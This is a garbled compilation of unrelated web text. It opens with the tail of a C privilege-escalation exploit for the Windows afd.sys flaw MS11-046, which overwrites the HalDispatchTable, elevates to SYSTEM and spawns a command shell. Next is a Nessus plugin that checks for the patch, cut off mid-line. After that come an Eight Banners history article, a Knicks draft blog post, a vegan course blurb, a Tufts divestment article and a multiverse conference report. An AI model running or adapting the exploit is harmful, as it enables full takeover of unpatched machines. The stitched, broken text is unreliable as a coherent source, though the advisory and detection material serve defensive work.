DWORD lpInBuffer[lpInBufferSize];
memset(lpInBuffer, 0, (lpInBufferSize * sizeof(DWORD)));
lpInBuffer[3] = 0x01;
lpInBuffer[4] = 0x20;
ULONG lpBytesReturned = 0;
if(DeviceIoControl(
(HANDLE) targetDeviceSocket,
0x00012007, // IOCTL_AFD_CONNECT
(PVOID) lpInBuffer, sizeof(lpInBuffer),
(PVOID) (HalDispatchTableKrnlSpcAddr + 0x6), 0x0,
&lpBytesReturned, NULL
) == 0)
{
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms679360(v=vs.85).aspx
errorCode = GetLastError();
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
// in case of ERROR_INVALID_NETNAME
if(errorCode == 1214)
{
// AFD socket connect request successful
printf(\" [+] Done\
\");
}
// in case of ERROR_NOACCESS
else if(errorCode == 998)
{
// AFD socket connect request unsuccessful - target is patched
printf(\" [!] Target patched\
\");
printf(\" [*] Possible security patches\
\");
for(i = 0; i < securityPatchesCount; i++)
printf(\" [*] %s\
\", securityPatchesPtr[i]);
return -1;
}
// in case of any other error message
else
{
// print the error code
printf(\" [-] Failed (error code: %d)\
\", errorCode);
return -1;
}
}
// elevate privileges of the current process
printf(\" [*] Elevating privileges to SYSTEM\
\");
ULONG outInterval = 0;
// https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FProfile%2FNtQueryIntervalProfile.html
NtQueryIntervalProfile(2, &outInterval);
printf(\" [+] Done\
\");
// spawn shell (with elevated privileges)
printf(\" [*] Spawning shell\
\");
// spawn SYSTEM shell within the current shell (remote shell friendly)
system (\"c:\\\\windows\\\\system32\\\\cmd.exe /K cd c:\\\\windows\\\\system32\");
// clean up and exit
printf(\"\
[*] Exiting SYSTEM shell\
\");
WSACleanup();
return 1;
}
// EoF
`
", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://packetstormsecurity.com/files/download/139196/winx86afd-escalate.txt"}], "nessus": [{"lastseen": "2019-02-21T01:15:04", "bulletinFamily": "scanner", "description": "The remote Windows host contains a version of the Ancillary Function Driver (afd.sys) that does not properly validate input before passing it from user mode to the kernel.
An attacker with local access to the affected system could exploit this issue to execute arbitrary code in kernel mode and take complete control of the affected system.", "modified": "2018-11-15T00:00:00", "id": "SMB_NT_MS11-046.NASL", "href": "https://www.tenable.com/plugins/index.php?view=single&id=55126", "published": "2011-06-15T00:00:00", "title": "MS11-046: Vulnerability in Ancillary Function Driver Could Allow Elevation of Privilege (2503665)", "type": "nessus", "sourceData": "#
# (C) Tenable Network Security, Inc.
#
include(\"compat.inc\");
if (description)
{
script_id(55126);
script_version(\"1.18\");
script_cvs_date(\"Date: 2018/11/15 20:50:31\");
script_cve_id(\"CVE-2011-1249\");
script_bugtraq_id(48198);
script_xref(name:\"EDB-ID\", value:\"18755\");
script_xref(name:\"MSFT\", value:\"MS11-046\");
script_xref(name:\"MSKB\", value:\"2503665\");
script_name(english:\"MS11-046: Vulnerability in Ancillary Function Driver Could Allow Elevation of Privilege (2503665)\");
script_summary(english:\"Checks version of Afd.sys\");
script_set_attribute(
attribute:\"synopsis\",
value:
\"The remote Windows host contains a driver that allows privilege
escalation.\"
);
script_set_attribute(
attribute:\"description\",
value:
\"The remote Windows host contains a version of the Ancillary Function
Driver (afd.sys) that does not properly validate input before passing it
from user mode to the kernel.
An attacker with local access to the affected system could exploit this
issue to execute arbitrary code in kernel mode and take complete control
of the affected system.\"
);
script_set_attribute(attribute:\"see_also\", value:\"https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2011/ms11-046\");
script_set_attribute(
attribute:\"solution\",
value:
\"Microsoft has released a set of patches for Windows XP, 2003, Vista,
2008, 7, and 2008 R2.\"
);
script_set_cvss_base_vector(\"CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C\");
script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");
script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");
script_set_attribute(attribute:\"exploit_available\", value:\"true\");
script_set_attribute(attribute:\"exploit_framework_core\", value:\"true\");
script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");
script_set_attribute(attribute:\"vuln_publication_date\", value:\"2011/06/14\");
script_set_attribute(attribute:\"patch_publication_date\", value:\"2011/06/14\");
script_set_attribute(attribute:\"plugin_publication_date\", value:\"2011/06/15\");
script_set_attribute(attribute:\"plugin_type\", value:\"local\");
script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:microsoft:windows\");
script_end_attributes();
script_category(ACT_GATHER_INFO);
script_family(english:\"Windows : Microsoft Bulletins\");
script_copyright(english:\"This script is Copyright (C) 2011-2018 Tenable Network Security, Inc.\");
script_dependencies(\"smb_hotfixes.nasl\", \"ms_bulletin_checks_possible.nasl\");
script_require_keys(\"SMB/MS_Bulletin_Checks/Possible\");
script_require_ports(139, 445, 'Host/patch_management_checks');
exit(0);
}
include(\"audit.inc\");
include(\"smb_hotfixes_fcheck.inc\");
include(\"smb_hotfixes.inc\");
include(\"smb_func.inc\");
include(\"misc_func.inc\");
get_kb_item_or_exit(\"SMB/MS_Bulletin_Checks/Possible\");
bulletin = 'MS11-046';
kb = \"2503665\";
kbs = make_list(kb);
if (get_kb_item(\"Host/patch_management_checks\")) hotfix_check_3rd_party(bulletin:bulletin, kbs:kbs, severity:SECURITY_HOLE);
get_kb_item_or_exit(\"SMB/Registry/Enumerated\");
get_kb_item_or_exit(\"SMB/WindowsVersion\", exit_code:1);
if (hotfix_check_sp_range(xp:'3', win2003:'2', vista:'1,2', win7:'0,1') <= 0) audit(AUDIT_OS_SP_NOT_VULN);
rootfile = hotfix_get_systemroot();
if (!rootfile) exit(1, \"Failed to get the system root.\");
share = hotfix_path2share(path:rootfile);
if (!is_accessible_share(share:share)) audit(AUDIT_SHARE_FAIL, share);
if (
# Windows 7 / 2008 R2
hotfix_is_vulnerable(os:\"6.1\", sp:1, file:\"Afd.sys\", version:\"6.1.7601.21712\", min_version:\"6.1.7601.21000\", dir:\"\\system32\\drivers\", bulletin:bulletin, kb:kb) ||
hotfix_is_vulnerable(os:\"6.1\", sp:1, file:\"Afd.sys\", version:\"6.1.7601.17603\", min_version:\"6.1.7601.17000\", dir:\"\\system32\\drivers\", bulletin:bulletin, kb:kb) ||
hotfix_is_vulnerable(os:\"6.1\", sp:0, file:\"Afd.sys\", version:\"6.1.7600.20951\", min_version:\"6.1.7600.20000\", dir:\"\\system32\\drivers\", bulletin:bulletin, kb:kb) ||
hotfix_is_vulnerable(os:\"6.1\", sp:0, file:\"Afd.sys\", version:\"6.1.7600.16802\", min_version:\"6.1.7600.16000\", dir:\"\\system32\\drivers\", bulletin:bulletin, kb:kb) ||
# Windows Vista / 2008
hotfix_is_vulnerable(os:\"6.0\", sp:2, file:\"Afd.sys\", version:\"6.0.6002.22629\", min_version:\"6.0.6002.22000\", dir:\"\\system32\\drivers\", bulletin:bulletin, kb:kb) ||
hotfix_is_vulnerable(os:\"6.0\", sp:2, file:\"Afd.sys\", version:\"6.0.6002.18457\", min_version:\"6.0.6002.18000\", dir:\"\\system32\\drivers\", bulletin:bulletin, kb:kb) ||
hotfix_is_vulnerable(os:\"6.0\", sp:1, file:\"Afd.sys\", version:\"6.0.6001.22905\", min_version:\"6.0
|
their military strength vanished.
History [ edit ]
Establishment [ edit ]
Initially, Nurhaci's forces were organized into small hunting parties of about a dozen men related by blood, marriage, clan, or place of residence, as was the typical Jurchen custom. In 1601, with the number of men under his command growing, Nurhaci reorganized his troops into companies of 300 households. Five companies made up a battalion, and ten battalions a banner. Four banners were originally created: Yellow, White, Red, and Blue, each named after the color of its flag. By 1614, the number of companies had grown to around 400. In 1615, the number of banners was doubled through the creation of "bordered" banners. The troops of each of the original four banners would be split between a plain and a bordered banner. The bordered variant of each flag was to have a red border, except for the Bordered Red Banner, which had a white border instead.
The banner armies expanded rapidly after a string of military victories under Nurhaci and his successors. Beginning in the late 1620s, the Jurchens incorporated allied and conquered Mongol tribes into the Eight Banner system. In 1635, Hong Taiji, son of Nurhaci, renamed his people from Jurchen to Manchu. That same year the Mongols were separated into the Mongol Eight Banners (Manchu: ᠮᠣᠩᡤᠣ
ᡤᡡᠰᠠ, monggo gūsa; Chinese: 八旗蒙古; pinyin: bāqí ménggǔ).
Invasions of Korea [ edit ]
Under Hong Taiji, the banner armies participated in two invasions of Korea under the Joseon dynasty, first in 1627 and again in 1636. As a consequence, Korea was forced to end its former relationship with the Ming dynasty and become a Qing tributary instead.
Conquest of the Ming [ edit ]
Initially, Chinese troops were incorporated into the existing Manchu Banners. When Hong Taiji captured Yongping in 1629, a contingent of artillerymen surrendered to him. In 1631, these troops were organized into the so-called Old Han Army under the Chinese commander Tong Yangxing. These artillery units were used decisively to defeat Ming general Zu Dashou's forces at the siege of Dalinghe that same year. In 1636, Hong Taiji proclaimed the creation of the Qing dynasty.
Between 1637 and 1642,[7][8] the Old Han Army, mostly made up of Liaodong natives who had surrendered at Yongping, Fushun, Dalinghe, etc., were organized into the Han Chinese Eight Banners (Manchu: ᠨᡳᡴᠠᠨ
ᠴᠣᠣᡥᠠ nikan cooha or ᡠᠵᡝᠨ
ᠴᠣᠣᡥᠠ ujen cooha; Chinese: 八旗汉军; pinyin: bāqí hànjūn). The original Eight Banners were thereafter referred to as the Manchu Eight Banners (Manchu: ᠮᠠᠨᠵᡠ
ᡤᡡᠰᠠ, manju gūsa; Chinese: 八旗满洲; pinyin: bāqí mǎnzhōu). Although still called the "Eight Banners" in name, there were now effectively twenty-four banner armies, eight for each of the three main ethnic groups.
Among the Banners gunpowder weapons, such as muskets and artillery, were specifically wielded by the Chinese Banners.[9]
After Hong Taiji's death, Dorgon, commander of the Solid White Banner, became regent. He quickly purged his rivals and took control over Hong Taiji's Solid Blue Banner. By 1644, an estimated two million people were living in the Eight Banners system. That year, the Chinese rebel Li Zicheng captured Beijing and the last emperor of the Ming dynasty, Chongzhen, committed suicide. Dorgon and his bannermen joined forces with Ming defector Wu Sangui to defeat Li at the Battle of Shanhai Pass and secure Beijing for the Qing. The young Shunzhi Emperor was then enthroned in the Forbidden City.
Ming defectors played a major role in the Qing conquest of China. Han Chinese generals who defected to the Manchus were often given women from the Imperial Aisin Gioro family in marriage while the ordinary soldiers who defected were given non-royal Manchu women as wives. The Qing differentiated between Han bannermen and ordinary Han civilians. Han bannermen were made out of Han Chinese who defected to the Qing up to 1644 and joined the Eight Banners, giving them social and legal privileges in addition to being acculturated to Manchu culture. So many Han defected to the Qing and swelled up the ranks of the Eight Banners that ethnic Manchus became a minority within the Banners, making up only 16% in 1648, with Han bannermen dominating with 75% and Mongol Bannermen making up the rest. It was this multi-ethnic force, in which Manchus were only a minority, which conquered China for the Qing. Hong Taiji recognized that Ming Han Chinese defectors were needed by the Manchus in order to assist in the conquest of the Ming, explaining to other Manchus why he needed to treat the Ming defector General Hung Ch'eng-ch'ou leniently.[15]
The Qing showed in propaganda targeted towards the Ming military that the Manchus valued military skills to get them to defect to the Qing, since the Ming civilian political system discriminated against the military.[16] The three Liaodong Han Bannermen officers who played a massive role in the conquest of southern China from the Ming were Shang Kexi, Geng Zhongming, and Kong Youde and they governed southern China autonomously as viceroys for the Qing after their conquests.[17] Normally the Manchu Bannermen acted as reserve forces while the Qing foremost used defected Han Chinese troops to fight as the vanguard during their conquest of China.[18]
The Liaodong Han Chinese military frontiersmen were prone to mixing and acculturating with (non-Han) tribesmen.[19] The Mongol officer Mangui served in the Ming military and fought the Manchus, dying in battle against a Manchu raid.[20][21][22] The Jurchen Manchus accepted and assimilated Han Chinese soldiers who defected.[23] Liaodong Han Chinese transfrontiersmen soldiers acculturated to Manchu culture and used Manchu names. Manchus lived in cities with walls surrounded by villages and adopted Chinese style agriculture before the Qing conquest of the Ming.[24] The Han Chinese transfrontismen abandoned their Han Chinese names and identities and Nurhaci's secretary Dahai might have been one of them.[25]
There were not enough ethnic Manchus to conquer China, so they relied on defeating and absorbing Mongols, and more importantly, adding Han Chinese to the Eight Banners.[26] The Manchus had to create an entire "Jiu Han jun" (Old Han Army) due to the massive number of Han Chinese soldiers who were absorbed into the Eight Banners by both capture and defection, Ming artillery was responsible for many victories against the Manchus, so the Manchus established an artillery corps made out of Han Chinese soldiers in 1641 and the swelling of Han Chinese numbers in the Eight Banners led in 1642 of all Eight Han Banners being created.[27] It was defected Ming Han Chinese armies which conquered southern China for the Qing.[28]
When Dorgon ordered Han civilians to vacate Beijing's inner city and move to the outskirts, he resettled the inner city with the Bannermen, including Han Chinese bannermen, later, some exceptions were made to allowing to reside in the inner city Han civilians who held government or commercial jobs.[29]
The Qing relied on the Green Standard soldiers, made out of defected Han Chinese Ming military forces who joined the Qing, in order to help rule northern China.[30] It was Green Standard Han Chinese troops who actively military governed China locally while Han Chinese Bannermen, Mongol Bannermen, and Manchu Bannermen who were only brought into emergency situations where there was sustained military resistance.[31]
Manchu Aisin Gioro princesses were also married to Han Chinese official's sons.[32]
The Manchu Prince Regent Dorgon gave a Manchu woman as a wife to the Han Chinese official Feng Quan,[33] who had defected from the Ming to the Qing. The Manchu queue hairstyle was willingly adopted by Feng Quan before it was enforced on the Han population and Feng learned the Manchu language.[34]
Banners of late 17th century
To promote ethnic harmony, a 1648 decree from Shunzhi allowed Han Chinese civilian men to marry Manchu women from the Banners with the permission of the Board of Revenue if they were registered daughters of officials or commoners or the permission of their banner company captain if they were unregistered commoners. It was only later in the dynasty that these policies allowing intermarriage were done away with.[35][36] The decree was formulated by Dorgon.[29]
The Guangzhou massacre of Ming loyalist Han forces and civilians in 1650 by Qing forces, was entirely carried out by Han Chinese Bannerman led by Han Chinese Generals Shang Kexi and Geng Jimao.
The Manchus sent Han Bannermen to fight against Koxinga's Ming loyalists in Fujian.[37] The Qing carried out a massive depopulation policy clearances forcing people to evacuated the coast in order to deprive Koxinga's Ming loyalists of resources, this has led to a myth that it was because Manchus were "afraid of water". In Fujian, it was Han Bannermen who were the ones carrying out the fighting and killing for the Qing and this disproved the entirely irrelevant claim that alleged fear of the water on part of the Manchus had to do with the coastal evacuation and clearances.[38] Even though a poem refers to the soldiers carrying out massacres in Fujian as "barbarian", both Han Green Standard Army and Han Bannermen were involved in the fighting for the Qing side and carried out the worst slaughter.[39] 400,000 Green Standard Army soldiers were used against the Three Feudatories besides 200,000 Bannermen.[40]
Revolt of the Three Feudatories [ edit ]
Battle of Qurman, 1759
Soldiers of the Blue banner during the reign of the Qianlong Emperor
In the Revolt of the Three Feudatories Manchu Generals and Bannermen were initially put to shame by the better performance of the Han Chinese Green Standard Army, who fought better than them against the rebels and this was noted by the Kangxi Emperor, leading him to task Generals Sun Sike, Wang Jinbao, and Zhao Liangdong to lead Green Standard soldiers to crush the rebels.[41] The Qing thought that Han Chinese were superior at battling other Han people and so used the Green Standard Army as the dominant and majority army in crushing the rebels instead of Bannermen.[42] In northwestern China against Wang Fuchen, the Qing put Bannermen in the rear as reserves while they used Han Chinese Green Standard Army soldiers and Han Chinese Generals like Zhang Liangdong, Wang Jinbao, and Zhang Yong as the primary military forces, considering Han troops as better at fighting other Han people, and these Han generals achieved victory over the rebels.[43] Sichuan and southern Shaanxi were retaken by the Han Chinese Green Standard Army under Wang Jinbao and Zhao Liangdong in 1680, with Manchus only participating in dealing with logistics and provisions.[44] 400,000 Green Standard Army soldiers and 150,000 Bannermen served on the Qing side during the war.[44] 213 Han Chinese Banner companies, and 527 companies of Mongol and Manchu Banners were mobilized by the Qing during the revolt.[9]
The Qing forces were crushed by Wu from 1673-1674.[45] The Qing had the support of the majority of Han Chinese soldiers and Han elite against the Three Feudatories, since they refused to join Wu Sangui in the revolt, while the Eight Banners and Manchu officers fared poorly against Wu Sangui, so the Qing responded with using a massive army of more than 900,000 Han Chinese (non-Banner) instead of the Eight Banners, to fight and crush the Three Feudatories.[46] Wu Sangui's forces were crushed by the Green Standard Army, made out of defected Ming soldiers.[47]
Territorial expansion [ edit ]
Koxinga's rattan shield troops became famous for fighting and defeating the Dutch in Taiwan. After the surrender of Koxinga's former followers on Taiwan, Koxinga's grandson Zheng Keshuang and his troops were incorporated into the Eight Banners. His rattan shield soldiers (Tengpaiying) 藤牌营 were used against the Russian Cossacks at Albazin.
Under the Kangxi and Qianlong emperors, the Eight Banners participated in a series of military campaigns to subdue Ming loyalists and neighboring states. In the Qianlong Emperor's celebrated Ten Great Campaigns, the banner armies fought alongside troops of the Green Standard Army, expanding the Qing empire to its greatest territorial extent. Though partly successful, the campaigns were a heavy financial burden on the Qing treasury, and exposed weaknesses in the Qing military. Many bannermen lost their lives in the Burma campaign, often as the result of tropical diseases, to which they had little resistance.
Later history [ edit ]
Although the banners were instrumental in the Qing Empire takeover of China proper in the 17th century from the Ming dynasty, they began to fall behind rising Western powers in the 18th century. By the 1730s, the traditional martial spirit had been discarded, as the well-paid Bannerman spent their time gambling and theatergoing. Subsidizing the 1.5 million men, women and children in the system was an expensive proposition, compounded by embezzlement and corruption.[citation needed]
Destitution in the northeastern garrisons led many Manchu Bannermen to abandon their posts and in response the Qing government either sentenced them with penal slavery or death.[48]
In the 19th century, the Eight Banners and Green Standard troops proved unable to put down the Taiping Rebellion and Nian Rebellion on their own. Regional officials like Zeng Guofan were instructed to raise their own forces from the civilian population, leading to the creation of the Xiang Army and the Huai Army, among others. Along with the Ever Victorious Army of Frederick Townsend Ward, it was these warlord armies (known as yongying) who finally succeeded in restoring Qing control in this turbulent period.[citation needed]
John Ross, a Scots missionary who served in Manchuria in the 19th century, wrote of the bannermen, "Their claim to be military men is based on their descent rather than on their skill in arms; and their pay is given them because of their fathers' prowess, and not at all from any hopes of their efficiency as soldiers. Their soldierly qualities are included in the accomplishments of idleness, riding, and the use of the bow and arrow, at which they practice on a few rare occasions each year."
Chinese soldiers in Boxer Rebellion, the left one is Bannerman
During the Boxer Rebellion, 1899–1901, 10,000 Bannermen were recruited from the Metropolitan Banners and given modernized training and weapons. One of these was the Hushenying. Many Manchu Bannermen in Beijing supported the Boxers and shared their anti-foreign sentiment. The Manchu Bannermen were devastated by the fighting during the Boxer Rebellion, sustaining enormous casualties during the war and subsequently being driven into desperate poverty.
Zhao Erfeng and Zhao Erxun were two important Han Bannermen in the late Qing.
By the late 19th century, the Qing Dynasty began training and creating New Army units based on Western training, equipment and organization. Nevertheless, the banner system remained in existence until the fall of the Qing in 1911, and even beyond, with a rump organization continuing to function until the expulsion of Puyi (the former Xuantong emperor) from the Forbidden City in 1924.
At the end of the Qing dynasty, all members of the Eight Banners, regardless of their original ethnicity, were considered by the Republic of China to be Manchu.
Han Bannermen became an elite political class in Fengtian province in the late Qing period and into the Republican era.[52]
Organization [ edit ]
At the highest level, the eight banners were categorized according to two groupings. The three "upper" banners (both Yellow Banners and the Plain White Banner) were under the nominal command of the emperor himself, whereas the five "lower" banners were commanded by others. The banners were also split into a "left wing" and a "right wing" according to how they would be arrayed in battle. In Beijing, the left wing occupied the eastern banner neighborhoods and the right wing occupied the western ones.
The Eight Banners in formation for the Qianlong Emperor's Grand Review. Left wing banners are depicted on the viewer's right side, right wing on the left.
The smallest unit in a banner army was the company, or niru (Chinese: 佐領; pinyin: zuǒlǐng), composed nominally of 300 soldiers and their families. The term niru means "arrow" in the Manchu language, and was originally the Manchu name for a hunting party, which would be armed with bows and arrows. 15 companies (4,500 men) made up one jalan (Chinese: 參領; pinyin: cānlǐng). 4 jalan constituted a gūsa (banner), with a total of 60 companies, or 18,000 men. The actual sizes often varied substantially from these standards.
gūsa jalan niru ᡤᡡᠰᠠ ᠵᠠᠯᠠᠨ ᠨᡳᡵᡠ
Ethnic composition [ edit ]
Initially, the banner armies were primarily made up of individuals from the various Manchu tribes. As new populations were incorporated into the empire, the armies were expanded to accommodate troops of different ethnicities. The banner armies would eventually encompass three principal ethnic components: the Manchus, the Han, and the Mongols, and various smaller ethnic groups, such as the Xibe, the Daur, and the Evenks.
There were stories of Han migrating to the Jurchens and assimilating into Manchu Jurchen society and Nikan Wailan may have been an example of this.[54] The Manchu Cuigiya 崔佳氏 clan claimed that a Han Chinese founded their clan.[55] The Tohoro 托和啰 (Duanfang's clan) claimed Han Chinese origin.[56][57][58][59][60]
The transfer of families from Han Banners or Bondservant status (booi) to Manchu Banners, switching their ethnicity from Han to Manchu was called Taiqi (抬旗) in Chinese. They would be transferred to the "upper three" Manchu Banners. It was a policy of the Qing to transfer to immediate families[61] (the brothers, father) of the mother of an Emperor into the upper three Manchu Banners and having "giya" 佳 appended to the end of their surname to Manchufy it.[56] It typically occurred in cases of intermarriage with the Qing Aisin Gioro Imperial family, and the close relatives (fathers and brothers) of the concubine or Empress would get promoted from the Han Banner to the Manchu Banner and become Manchu. The Han Bannerwoman Empress Xiaoyichun and her entire family were transferred to the Manchu Banners due to her status as the mother of an Emperor and their surname was change from Wei 魏 to Weigiya 魏佳.
The Qing said that "Manchu and Han are one house" 满汉一家 and said that the difference was "not between Manchu and Han, but instead between Bannerman and civilian" 不分满汉，但问旗民.[62] or 但问旗民, 不问满汉.[63]
Banner soldiers [ edit ]
Bannermen accompanying an Imperial hunting party. Hunting served as a military exercise and to improve coordination between military units.
From the time China was brought under the rule of the Qing dynasty (1644 – 1683), the banner soldiers became more professional and bureaucratized. Once the Manchus took over governing, they could no longer satisfy the material needs of soldiers by garnishing and distributing booty; instead, a salary system was instituted, ranks standardized, and the Eight Banners became a sort of hereditary military caste, though with a strong ethnic inflection. Banner soldiers took up permanent positions, either as defenders of the capital, Beijing, where roughly half of them lived with their families, or in the provinces, where some eighteen garrisons were established. The largest banner garrisons throughout most of the Qing dynasty were at Beijing, followed by Xi'an and Hangzhou. Sizable banner populations were also placed in Manchuria and at strategic points along the Great Wall, the Yangtze River and Grand Canal.
Prominent Bannermen [ edit ]
See also [ edit ]
Notes [ edit ]
References [ edit ]
This article incorporates text from The Manchus: or The reigning dynasty of China; their rise and progress, by John Ross, a publication from 1880 now in the public domain in the United States.Jan 10, 2015; New York, NY, USA; New York Knicks president Phil Jackson addresses the media before the start of game against the Charlotte Hornets at Madison Square Garden. Mandatory Credit: Noah K. Murray-USA TODAY Sports
D’Angelo Russell: I Can Definitely Thrive in Triangle Offense by Maxwell Ogden
New York Knicks Interested in Brandon Jennings? Please No… by William Lee
Phil Jackson and the New York Knicks will face as much pressure as any group in the NBA come Thursday, June 25. Slated to pick No. 4 overall in the 2015 NBA Draft, the Knicks need to make a splash.
That may come at point guard or small forward, but the reason may surprise you: depth.
According to Jackson himself, the Knicks are already set at small forward with Carmelo Anthony. That’s well-documented and understood when a former scoring champion is on the roster in his prime.
The more surprising comments: Jackson believes New York already has its point guard situation figured out.
Phil Jackson, on @MikeandMike, suggested that the #Knicks are "covered" at lead guard & SF but could still draft at those positions. — Ian Begley (@IanBegley) June 22, 2015
Anthony is an eight-time All-Star at the 3, while Jose Calderon and Langston Galloway collaborate to man the lead guard spot.
Galloway was named to the All-Rookie Second Team in 2014-15 after turning heads with his quality of play. Thus, it’s conceivable that New York believes it should give him a chance in 2015-16.
Given his proficiency with very little around him as a rookie, it stands to reason that Galloway will improve his efficiency with a vastly improved roster in his second season.
Between his clutch heroics and all-around quality play, Galloway is somewhat reminiscent of a young Derek Fisher—a five-time NBA champion who’s now the head coach of the Knicks.
Fisher, of course, won those five titles under Jackson.
As for Calderon, he’s been at the heart of many a trade rumor. That may still come to fruition, but the sharpshooting Spaniard appears to have a future in New York, after all, should Jackson’s comments hold true.
Considering the Triangle Offense has never been heavily dependent on point guard play, this all adds up to part of Jackson’s master plan. We’re just waiting to see what that is.This is a concept for a Ecourse to help transitioning and new vegans that will teach them everything they need to know to be able to master the total vegan lifestyle. The course will be given in videos, PDF manuals and contact through e-mail. The approximate length of the course will be 20 hours.
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ZiyaCooper McKim is a rising junior at Tufts University fascinated by the dynamics of environmental work with policy, entrepreneurship and activism. McKim studies environmental policy and helps write a monthly newsletter for the environmental studies program. He has interned with Massachusetts Rivers Alliance, a New Jersey Congressman and the NPR affiliate station WSHU.
"Tufts will divest, whether that's 50 years from now when the environment is so chaotic that fossil fuels are simply not a good investment, or in one, two or five years. It truly is a moral imperative. Every day that we invest in fossil fuels, we continue to say that they are a good investment." Photo credit: Tufts Divest
In a liveleak video, an iPhone screen rises above the back of a chair showing a grainy image of a room full of prospective Tufts student, and an admissions person. She explains the differences between engineering psychology and management, when a female Tufts student next to the camera, raises her hand, "I was wondering if you could talk a little bit about Tufts investment in the fossil fuel industry."
The flustered admissions person tried to shrug it off, but the student, Eliza Slocum, persisted, "Could you just make a general statement..." The two students next to Slocum then intervene, hoping to get a statement. One of them, Pearl, tries one last time saying, "We don't want to take up any more of your time..."
Then a father marches down to the aisle and leans over Pearl: "Enough, enough, no. That's too much time. She's done with you, okay? She's done with you. Stop wasting our time. I'm gonna get security if you don't shut the hell up, okay?" The packed room of prospective families clap.
This small catastrophe was Tufts Divest first direct action aimed at admissions. At a school where admissions is sacred, the public reaction was not good. Membership for Tufts Divest dropped by 30 percent, including leaders like Kit Collins, who couldn't align with those tactics.
Collins, a percussionist and rising Senior said, "This environmental justice community is being co-opted by a desire to be seen as activists and to do righteous activist-y things for people's egos as opposed to doing activist-y things because they're good for our goal."
Evan Bell, a soft-spoken remaining leader of Tufts Divest, admits that there was a certain sense of urgency regarding this action: "I think it was dealt with in somewhat of a state of panic, a measured panic. It wasn't highly strategic and as it went poorly, it just went more poorly." The tactics were not well-defined and most of the organizing happened amongst a small group on Facebook, the day or two before. The leaked video fueled the controversy, reinforcing the stigma already glowing around the Tufts' Divest movement.
Despite all of these negative reactions, Bell insists the action was still important: "We needed a Board of Trustees meeting, that's part of the story we were trying to tell. We worked within the bureaucracy and it didn't work, we had to push it." In the end, this action did get the attention of the administration, and opened the door to a Board of Trustees meeting.
Like this action, divestment is more complicated than its pithy title suggests. Bell says, "I don't do divestment because I care about Tufts endowment that much. It's about setting cultural precedents, stigmatizing the fossil fuel industry... and offering an on ramp, where college students can plug-in and join an international movement." With more than 150 other campus divestment movements, it really does offer an international network at a local scale. Events like Powershift and Climate Summer, organized by 350.org and Better Future Project, allows divesters around the world to coordinate, build an informed local movement and present a united front. Bell, having participated in many of events like this says, "I've been able to see so many people go from knowing and caring, to acting and making real change."
The larger divest movement provides direction to the local movements, and individual secondary targets provide momentum. For example, Tufts Divest banded with other northeastern schools to perform a direct action in the TransCanada offices in Massachusetts in 2013, making young people's opposition to the Keystone XL pipeline very clear. In 2014, Tufts was one of schools across the country to create a blockade in front of the White House also opposing Keystone XL. The efficiency, power and unity represented by young people at the blockade was all thanks to divestment. Each secondary target at a local level contributes to movement building and overall momentum.
Tufts Divest does still has a problem, though. The Board of Trustees responded with a stern no regarding divestment. After that meeting and the admissions faux pas, the group must rebrand and commit to a firm direction for next year. Bell says, "It's not just about bringing on more people and asking the same questions. Tufts Divest has yet to find an intermediate ask, and intermediate way of building that power." Bell has confidence that Tufts will eventually make the right choice, "Tufts will divest, whether that's 50 years from now when the environment is so chaotic that fossil fuels are simply not a good investment, or in one, two or five years. It truly is a moral imperative. Every day that we invest in fossil fuels, we continue to say that they are a good investment."We usually think of the universe as being “everything there is.” But many astronomers and physicists now suspect that the universe we observe is just a small part of an unbelievably larger and richer cosmic structure, often called the “multiverse.” This mind-bending notion – that our universe may be just one of many, perhaps an infinite number, of real, physical universes – was front and center at a three-day conference entitled "A Debate in Cosmology The Multiverse," held at the Perimeter Institute for Theoretical Physics in Waterloo, Ontario, earlier this month.
[fw-embed-media url="https://s22380.pcdn.co/wp-content/uploads/Paul-Davies.jpg" url_large="" alt="Pail Davies" caption="Physicist Paul Davies points out that with cosmic inflation, things get fantastically big very fast. (The conference was in Canada, so a hockey stick was the pointer of choice.)" credits="Dan Falk" width="" height="" align="right"]The multiverse idea is not new. Physicists have been toying with it ever since Hugh Everett III came up with the “many worlds” interpretation of quantum mechanics back in the 1950s. It took on new life after 1980, when the inflationary-universe theory of the Big Bang's first moments began to suggest that our Big Bang was not a unique event but just a tiny bit of a much larger, ongoing process.
The multiverse idea has had yet another surge of interest in recent years, as a result of a newer idea: string theory. Developed as a possible “theory of everything” that would unite quantum mechanics and gravity, string theory, physicists hoped, would provide a unique description of the universe and why the laws of nature are what they are. Instead, according to some theorists, it lays out a picture of not a single universe but rather a broader “landscape” in which the laws of physics vary from one region to another. It may be that only a small fraction of these regions have conditions allowing any kind of complex matter to exist, and hence intelligent life.
Part of the appeal is that a varied multiverse like this would neatly account for the many remarkable coincidences we observe in the laws of physics that make possible any kind of complex matter, such as atoms and molecules. When we life forms arise and look around, we naturally find ourselves in one of these very rare special realms, merely because we could not have come into being anywhere else. This kind self-selection logic is called "anthropic reasoning."
[fw-embed-media url="https://s22380.pcdn.co/wp-content/uploads/Albrecht-blackboards.jpg" url_large="" alt="" caption="Take good notes. Physicist Andrew Albrecht (University of California at Davis) expounded on the implications of the "clock ambiguity," which says that there is no single overall timeframe in a multiverse. "The clock ambiguity," Albrecht has said, "suggests that we must view physical laws as emergent from a random ensemble of all possible laws."" credits="Dan Falk" width="" height="" align="left"]
Equations Meet Philosophy
The lead-off speaker at the conference was Paul Davies of Arizona State University, a prolific writer on cosmology and philosophy. He noted that the multiverse idea has been “propelled to fame” in the last decade or so by the string-theory landscape idea – the notion “that maybe the laws of physics are not absolute, fixed, universal, immutable mathematical relationships,” but instead might be “more like local bylaws.”
Several other speakers, including Laura Mersini-Houghton of the University of North Carolina, echoed that view. The idea of multiple universes “did not go down very well with scientists” when it was first put forward, she said in an interview, but now “there’s an explosion of interest in the subject… because of the discovery of the ‘landscape’ of string theory.”
